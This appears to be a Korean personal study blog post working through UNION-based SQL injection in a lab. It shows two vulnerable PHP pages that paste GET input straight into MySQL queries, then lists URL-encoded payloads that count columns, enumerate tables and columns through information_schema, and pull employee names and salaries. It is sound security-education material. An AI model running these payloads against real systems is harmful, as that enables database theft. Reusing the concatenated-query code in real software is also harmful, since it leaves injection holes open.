Self-Improvement

UNION SQLi(Error Based, 숫자형, 문자형, concat_ws()) 본문

SQLi

UNION SQLi(Error Based, 숫자형, 문자형, concat_ws())

JoGeun 2020. 4. 13. 10:41

소스코드 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
 
if(!$link = mysql_connect('localhost', 'root', 'root')) {
        echo 'Could not connect to mysql';
        exit;
}
 
if (!mysql_select_db('northwind', $link)){
        echo 'Could not select database';
        exit;
}
 
$_empid = $_GET['empid'];
$sql = 'SELECT * FROM Employees WHERE employeeid=' . $_empid;
$result = mysql_query($sql, $link);
 
if(!$result){
        echo "db error, could not query the database\n";
        echo 'MySQL error: '.mysql_Error();
        exit;
}
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td><td>Hire Date</td>\n\t</tr>";
while($row = mysql_fetch_assoc($result)){
        print "\t<tr>\n\t\t<td>".$row['EmployeeID']."</td><td>".$row['FirstName']."</td><td>".$row['Title']."</td><td>".$row['HireDate']."</td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
?>
 cs

 

- http://192.168.1.46/empinfo_id.php?empid=1

- http://192.168.1.46/empinfo_id.php?empid=1'

 

1 order by 19

- http://192.168.1.46/empinfo_id.php?empid=1%20order%20by%2019

 

1 order by 20

- http://192.168.1.46/empinfo_id.php?empid=1%20order%20by%2020

칼럼 수는 19개로 확인(20, 21, 22까지 해서 오류나면 정확)

 

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from dual

- http://192.168.1.46/empinfo_id.php?empid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from dual

각 필드의 칼럼의 위치를 보여주는 것

 

0 UNION SELECT 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_type='base table'

- http://192.168.1.46/empinfo_id.php?empid=0%20UNION%20SELECT%201,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20table_type=%27base%20table%27

각 테이블 목록

 

0 UNION SELECT 1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name='Employees'

- http://192.168.1.46/empinfo_id.php?empid=0%20UNION%20SELECT%201,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.columns%20where%20table_name=%27Employees%27

Employees 테이블의 칼럼들

 

0 UNION SELECT EmployeeID,2,FirstName,Salary,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from Employees;

- http://192.168.1.46/empinfo_id.php?empid=0%20UNION%20SELECT%20EmployeeID,2,FirstName,Salary,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20Employees;

Employees 테이블의 정보들

 

소스코드 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
 
if(!$link = mysql_connect('localhost', 'root', 'root')) {
        echo 'Could not connect to mysql';
        exit;
}
 
if (!mysql_select_db('northwind', $link)){
        echo 'Could not select database';
        exit;
}
 
$_empname= $_GET['empname'];
$sql = 'SELECT * FROM Employees WHERE FirstName like \'%'.$_empname.'%\' limit 10';
$result = mysql_query($sql, $link);
 
if(!$result){
        echo "db error, could not query the database\n";
        echo 'MySQL error: '.mysql_Error();
        exit;
}
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td><td>Hire Date</td>\n\t</tr>";
while($row = mysql_fetch_assoc($result)){
        print "\t<tr>\n\t\t<td>".$row['EmployeeID']."</td><td>".$row['FirstName']."</td><td>".$row['Title']."</td><td>".$row['HireDate']."</td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
?>
 cs

- http://192.168.1.46/empinfo_name.php?empname=nan

 

0 UNION SELECT EmployeeID,2,FirstName,Salary,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from Employees;1' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from dual#

- http://192.168.1.46/empinfo_name.php?empname=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from dual%23

싱글 쿼터의 짝을 위해 마지막엔 주석을 의미하는 %23을 삽입

 

1' union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_type='base table'#

- http://192.168.1.46/empinfo_name.php?empname=1%27%20union%20select%201,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%23

테이블 이름

 

1' union select 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name='Employees'#

- http://192.168.1.46/empinfo_name.php?empname=1%27%20union%20select%201,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.columns%20where%20table_name=%27Employees%27%23

 

1' union select 1,2,concat_ws(',',employeeid,firstname,hiredate),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from Employees#

- http://192.168.1.46/empinfo_name.php?empname=1%27%20union%20select%201,2,concat_ws(%27,%27,employeeid,firstname,hiredate),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20Employees%23

concat_ws 함수

'SQLi' 카테고리의 다른 글

MSSQL Error SQLi (단일 행, 단일 열, Top, row_number() over(), sys.objects, sys.columns)  (0) 2020.04.16
UNION SQLi 실습(substring()=char(), load_file())  (0) 2020.04.14
SQLi 대응방안 (Magic_quotes_gpc, 프리페어드 스테이트먼트, 키워드 필터링, 데이터 유형 검사 등)  (0) 2020.04.14
날짜형 데이터 SQLi(Oracle 데이터베이스)  (0) 2020.04.14
MySQL, MSSQL, Oracle 데이터베이스 스키마 객체(information_schema, sys.objects, sys.columns, tabs, cols, tab, col)  (0) 2020.04.13
'SQLi' Related Articles more